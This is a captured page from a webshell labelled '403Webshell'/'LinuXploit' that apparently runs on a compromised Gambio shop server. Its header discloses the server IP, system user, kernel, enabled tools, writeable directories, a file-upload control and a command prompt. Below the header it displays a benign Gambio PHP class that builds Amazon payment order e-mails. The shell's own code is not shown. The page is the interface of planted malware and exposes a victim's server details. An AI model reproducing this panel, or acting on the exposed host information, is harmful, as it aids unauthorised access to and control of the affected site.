403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/external/amazon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/external/amazon/AmazonMailContentView.inc.php
<?php
/* --------------------------------------------------------------
	AmazonMailContentView.inc.php 2014-07-30_1220 mabr
	Gambio GmbH
	http://www.gambio.de
	Copyright (c) 2014 Gambio GmbH
	Released under the GNU General Public License (Version 2)
	[http://www.gnu.org/licenses/gpl-2.0.html]
	--------------------------------------------------------------
*/

class AmazonMailContentView extends ContentView
{
	protected $language;
	protected $language_id;
	protected $mail_logo;
	protected $name;
	protected $orders_id;
	protected $orderdate;

	public function __construct()
	{
		parent::__construct();
		// NO CACHING
		$this->set_caching_enabled(false);
		// ACTIVATE FLAT MODE (direct assign)
		$this->set_flat_assigns(true);
	}


	protected function set_validation_rules()
	{
		$this->validation_rules_array['language_id'] = array('type' => 'int');
		$this->validation_rules_array['language'] = array('type' => 'string');
		$this->validation_rules_array['mail_logo'] = array('type' => 'string');
		$this->validation_rules_array['name'] = array('type' => 'string');
		$this->validation_rules_array['orders_id'] = array('type' => 'string');
		$this->validation_rules_array['orderdate'] = array('type' => 'string');
	}

	public function get_mail_content_array($p_hardfail = false)
	{
		$t_html_output_array = array();

		// INIT
		$t_language = $this->language;
		$t_language_id = $this->language_id;

		if(defined('EMAIL_SIGNATURE'))
		{
			$this->set_content_data('EMAIL_SIGNATURE_HTML', nl2br(EMAIL_SIGNATURE));
			$this->set_content_data('EMAIL_SIGNATURE_TEXT', EMAIL_SIGNATURE);
		}
		$this->set_content_data('gm_logo_mail', $this->mail_logo);

		// SET CONTENT DATA
		$this->set_content_data('NAME', $this->name);
		$this->set_content_data('ORDERS_ID', $this->orders_id);
		$this->set_content_data('ORDERDATE', $this->orderdate);

		// GET HTML MAIL CONTENT
		if($p_hardfail == true)
		{
			$t_html_output_array['html'] = fetch_email_template($this, 'amazonadvpay_mail_hard', 'html', '', $t_language_id, $t_language);
		}
		else
		{
			$t_html_output_array['html'] = fetch_email_template($this, 'amazonadvpay_mail', 'html', '', $t_language_id, $t_language);
		}

		// SET CONTENT DATA
		$this->set_content_data('body_text', strip_tags($this->body_text));

		// GET TXT MAIL CONTENT
		if($p_hardfail == true)
		{
			$t_html_output_array['txt'] = fetch_email_template($this, 'amazonadvpay_mail_hard', 'txt', '', $t_language_id, $t_language);
		}
		else
		{
			$t_html_output_array['txt'] = fetch_email_template($this, 'amazonadvpay_mail', 'txt', '', $t_language_id, $t_language);
		}

		// RETURN MAIL CONTENTS
		return $t_html_output_array;
	}

	public function fetch($p_filepath)
	{
		// WORKAROUND, da fetch_mail_template fetch-Methode aufruft (nicht existent in ContentView)
		$this->set_template_dir(DIR_FS_CATALOG);
		$this->set_content_template(str_replace(DIR_FS_CATALOG, '', $p_filepath));
		return $this->build_html();
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit